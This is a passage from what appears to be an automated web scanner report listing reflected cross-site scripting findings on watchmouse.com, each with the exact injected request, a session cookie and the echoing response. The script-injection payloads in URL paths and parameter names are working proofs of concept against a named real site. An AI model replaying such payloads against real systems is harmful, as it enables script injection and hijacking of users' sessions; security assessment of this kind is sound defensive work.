Content-Type: text/html; charset=UTF-8
Content-Length: 13275

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="nl" lang="nl">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/nl/feature/public-status-page.htmld2dc1"><script>alert(1)</script>914369b5b9c" method="post">
...[SNIP]...

1.660. http://www.watchmouse.com/nl/feature/the-watchmouse-api.html [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/nl/feature/the-watchmouse-api.html

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 681f7"><script>alert(1)</script>b316b34a14c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /nl681f7"><script>alert(1)</script>b316b34a14c/feature/the-watchmouse-api.html HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:29:35 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-98e0e4057decb64318c5bcac4d0b92cd"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13253

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/nl681f7"><script>alert(1)</script>b316b34a14c/feature/the-watchmouse-api.html" method="post">
...[SNIP]...

1.661. http://www.watchmouse.com/nl/feature/the-watchmouse-api.html [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/nl/feature/the-watchmouse-api.html

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a5af5"><script>alert(1)</script>d21fa87e46b was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /nl/featurea5af5"><script>alert(1)</script>d21fa87e46b/the-watchmouse-api.html HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:29:36 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-nl-d6443c70c9587030bd772ee079af88ae"
Content-Language: nl
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13275

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="nl" lang="nl">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/nl/featurea5af5"><script>alert(1)</script>d21fa87e46b/the-watchmouse-api.html" method="post">
...[SNIP]...

1.662. http://www.watchmouse.com/nl/feature/the-watchmouse-api.html [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/nl/feature/the-watchmouse-api.html

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1d93d"><script>alert(1)</script>48c525f0537 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /nl/feature/the-watchmouse-api.html1d93d"><script>alert(1)</script>48c525f0537 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:29:37 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-nl-91816da432c7938f7a0039a91fa1b240"
Content-Language: nl
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13275

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="nl" lang="nl">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/nl/feature/the-watchmouse-api.html1d93d"><script>alert(1)</script>48c525f0537" method="post">
...[SNIP]...

1.663. http://www.watchmouse.com/nl/feature/transaction-monitoring-web-application-testing.html [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/nl/feature/transaction-monitoring-web-application-testing.html

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6f200"><script>alert(1)</script>e43962f7851 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /nl6f200"><script>alert(1)</script>e43962f7851/feature/transaction-monitoring-web-application-testing.html HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:08:06 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-b274ee2ef986fc8e048a685e3a2280e4"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13505

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/nl6f200"><script>alert(1)</script>e43962f7851/feature/transaction-monitoring-web-application-testing.html" method="post">
...[SNIP]...

1.664. http://www.watchmouse.com/nl/feature/transaction-monitoring-web-application-testing.html [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/nl/feature/transaction-monitoring-web-application-testing.html

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 28590"><script>alert(1)</script>d557ace520e was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /nl/feature28590"><script>alert(1)</script>d557ace520e/transaction-monitoring-web-application-testing.html HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:08:16 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-nl-b5e0a653e6c303fbf2bd98cd6048880d"
Content-Language: nl
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13527

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="nl" lang="nl">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/nl/feature28590"><script>alert(1)</script>d557ace520e/transaction-monitoring-web-application-testing.html" method="post">
...[SNIP]...

1.665. http://www.watchmouse.com/nl/feature/transaction-monitoring-web-application-testing.html [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/nl/feature/transaction-monitoring-web-application-testing.html

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8bf97"><script>alert(1)</script>1a7932eef29 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /nl/feature/transaction-monitoring-web-application-testing.html8bf97"><script>alert(1)</script>1a7932eef29 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:08:17 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-nl-a8a6c1ebc59a3b55098de47a391deb88"
Content-Language: nl
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13527

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="nl" lang="nl">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/nl/feature/transaction-monitoring-web-application-testing.html8bf97"><script>alert(1)</script>1a7932eef29" method="post">
...[SNIP]...

1.666. http://www.watchmouse.com/nl/feature/transaction-monitoring-web-application-testing.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/nl/feature/transaction-monitoring-web-application-testing.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4b989"><script>alert(1)</script>f122a4f741e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /nl/feature/transaction-monitoring-web-application-testing.html?4b989"><script>alert(1)</script>f122a4f741e=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:08:02 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-nl-29bc93b0703ea58df58b01f47e603f0b"
Content-Language: nl
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 24101

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="nl" lang="nl">
<head><tit
...[SNIP]...
<form id="login_form" action="/nl/feature/transaction-monitoring-web-application-testing.html?4b989"><script>alert(1)</script>f122a4f741e=1" method="post">
...[SNIP]...

1.667. http://www.watchmouse.com/nl/learn_more.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/nl/learn_more.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 18a39"><script>alert(1)</script>31318f58c31 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /nl18a39"><script>alert(1)</script>31318f58c31/learn_more.php HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:08:16 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-be9e371430e8b7d37488de10627610ba"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13100

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/nl18a39"><script>alert(1)</script>31318f58c31/learn_more.php" method="post">
...[SNIP]...

1.668. http://www.watchmouse.com/nl/learn_more.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/nl/learn_more.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6be27"><script>alert(1)</script>6c788e53ef0 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /nl/learn_more.php6be27"><script>alert(1)</script>6c788e53ef0 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:08:19 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-nl-318d2fe3042561d8a0e515bef74bd500"
Content-Language: nl
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13122

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="nl" lang="nl">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/nl/learn_more.php6be27"><script>alert(1)</script>6c788e53ef0" method="post">
...[SNIP]...

1.669. http://www.watchmouse.com/nl/learn_more.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/nl/learn_more.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c549b"><script>alert(1)</script>2073c6b0433 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /nl/learn_more.php?c549b"><script>alert(1)</script>2073c6b0433=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:08:05 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 12:08:05 GMT
Content-Language: nl
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 45839

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="nl" lang="nl">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/nl/learn_more.php?c549b"><script>alert(1)</script>2073c6b0433=1" method="post">
...[SNIP]...

1.670. http://www.watchmouse.com/nl/plans_price.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/nl/plans_price.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f5bff"><script>alert(1)</script>575407e4368 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /nlf5bff"><script>alert(1)</script>575407e4368/plans_price.php HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:08:07 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-28b93e6673b407d7390feb5586201f31"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13109

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/nlf5bff"><script>alert(1)</script>575407e4368/plans_price.php" method="post">
...[SNIP]...

1.671. http://www.watchmouse.com/nl/plans_price.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/nl/plans_price.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1ccd5"><script>alert(1)</script>6257ab23b52 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /nl/plans_price.php1ccd5"><script>alert(1)</script>6257ab23b52 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:08:18 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-nl-add04de0a31d89f5bf4d081969969ea0"
Content-Language: nl
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13131

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="nl" lang="nl">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/nl/plans_price.php1ccd5"><script>alert(1)</script>6257ab23b52" method="post">
...[SNIP]...

1.672. http://www.watchmouse.com/nl/plans_price.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/nl/plans_price.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 31000"><script>alert(1)</script>263b4e9bc1 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /nl/plans_price.php?31000"><script>alert(1)</script>263b4e9bc1=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:08:02 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-nl-9f6120799c3e559cdd471be4f23dd25f"
Content-Language: nl
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 57425

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="nl" lang="nl">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/nl/plans_price.php?31000"><script>alert(1)</script>263b4e9bc1=1" method="post">
...[SNIP]...

1.673. http://www.watchmouse.com/nl/register.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/nl/register.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d8993"><script>alert(1)</script>32c3ef2dc88 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /nld8993"><script>alert(1)</script>32c3ef2dc88/register.php HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:08:13 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-787bdb8d259e1095259fc2049aae9caf"
Content-Language: en
